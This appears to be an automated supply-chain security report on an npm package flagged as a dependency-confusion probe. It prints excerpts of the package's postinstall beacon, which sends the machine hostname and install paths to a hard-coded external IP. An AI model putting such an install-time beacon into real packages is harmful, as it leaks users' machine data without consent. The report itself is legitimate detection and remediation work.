@grabcad/grabcad-shop-shared@99.0.1
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 3h ago · by lpm-firewall-aiThe package performs automatic, consent-free installation tracking to an unrelated fixed endpoint using identifying host and project data. This verified install-time disclosure supports blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or importing index.js.
Impact
The recipient learns identifying details about the machine and package installation.
Mechanism
The beacon collects the machine hostname and installation and working directory paths, then POSTs them to a hard-coded IP address without an affirmative consent check.
Attack narrative
The postinstall hook starts a beacon that sends machine and project identifying metadata to a fixed external endpoint. Importing the package also activates the beacon.
AI rationale
The package performs automatic, consent-free installation tracking to an unrelated fixed endpoint using identifying host and project data. This verified install-time disclosure supports blocking publication.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package automatically runs a postinstall script that starts the beacon.
- The beacon sends a POST to a fixed external IP address.
- The payload collects the machine hostname and installation and project paths.
- The beacon sends the collected payload without an installer consent check.
- Importing the package also activates the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "
High
Suspicious Lifecycle Evidence
The package automatically runs a postinstall script that starts the beacon.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@grabcad/grabcad-shop-shared";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @grabcad/grabcad-shop-shared@99.0.1.
See all versions of @grabcad/grabcad-shop-shared for other recorded verdicts.
- Avoid installing @grabcad/grabcad-shop-shared@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.